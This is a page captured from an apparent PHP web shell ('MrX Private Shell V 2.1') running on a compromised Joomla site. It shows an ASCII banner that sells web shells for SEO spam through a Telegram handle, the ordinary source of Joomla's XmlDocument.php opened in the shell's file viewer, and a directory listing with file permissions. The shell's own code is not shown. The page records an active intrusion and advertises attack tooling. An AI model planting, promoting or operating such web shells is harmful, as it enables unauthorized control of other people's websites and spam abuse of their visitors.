__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\CMS\Document;
use Joomla\CMS\Factory as CmsFactory;
// phpcs:disable PSR1.Files.SideEffects
\defined('JPATH_PLATFORM') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* XmlDocument class, provides an easy interface to parse and display XML output
*
* @since 1.7.0
*/
class XmlDocument extends Document
{
/**
* Document name
*
* @var string
* @since 3.0.0
*/
protected $name = 'joomla';
/**
* Flag indicating the document should be downloaded (Content-Disposition = attachment) versus displayed inline
*
* @var boolean
* @since 3.9.0
*/
protected $isDownload = false;
/**
* Class constructor
*
* @param array $options Associative array of options
*
* @since 1.7.0
*/
public function __construct($options = [])
{
parent::__construct($options);
// Set mime type
$this->_mime = 'application/xml';
// Set document type
$this->_type = 'xml';
}
/**
* Render the document.
*
* @param boolean $cache If true, cache the output
* @param array $params Associative array of attributes
*
* @return string The rendered data
*
* @since 1.7.0
*/
public function render($cache = false, $params = [])
{
parent::render($cache, $params);
$disposition = $this->isDownload ? 'attachment' : 'inline';
CmsFactory::getApplication()->setHeader('Content-disposition', $disposition . '; filename="' . $this->getName() . '.xml"', true);
return $this->getBuffer();
}
/**
* Returns the document name
*
* @return string
*
* @since 1.7.0
*/
public function getName()
{
return $this->name;
}
/**
* Sets the document name
*
* @param string $name Document name
*
* @return XmlDocument instance of $this to allow chaining
*
* @since 1.7.0
*/
public function setName($name = 'joomla')
{
$this->name = $name;
return $this;
}
/**
* Check if this document is intended for download
*
* @return string
*
* @since 3.9.0
*/
public function isDownload()
{
return $this->isDownload;
}
/**
* Sets the document's download state
*
* @param boolean $download If true, this document will be downloaded; if false, this document will be displayed inline
*
* @return XmlDocument instance of $this to allow chaining
*
* @since 3.9.0
*/
public function setDownload($download = false)
{
$this->isDownload = $download;
return $this;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| Feed | Folder | 0775 |
|
|
| Opensearch | Folder | 0775 |
|
|
| Renderer | Folder | 0775 |
|
|
| Document.php | File | 29.21 KB | 0664 |
|
| DocumentAwareInterface.php | File | 709 B | 0664 |
|
| DocumentAwareTrait.php | File | 1.22 KB | 0664 |
|
| DocumentRenderer.php | File | 1.69 KB | 0664 |
|
| ErrorDocument.php | File | 3.74 KB | 0664 |
|
| Factory.php | File | 3.28 KB | 0664 |
|
| FactoryInterface.php | File | 1.29 KB | 0664 |
|
| FeedDocument.php | File | 4.96 KB | 0664 |
|
| HtmlDocument.php | File | 25.02 KB | 0664 |
|
| ImageDocument.php | File | 1.74 KB | 0664 |
|
| JsonDocument.php | File | 2.6 KB | 0664 |
|
| JsonapiDocument.php | File | 4.04 KB | 0664 |
|
| OpensearchDocument.php | File | 6.12 KB | 0664 |
|
| PreloadManager.php | File | 4.51 KB | 0664 |
|
| PreloadManagerInterface.php | File | 2.83 KB | 0664 |
|
| RawDocument.php | File | 1.24 KB | 0664 |
|
| RendererInterface.php | File | 869 B | 0664 |
|
| XmlDocument.php | File | 2.9 KB | 0664 |
|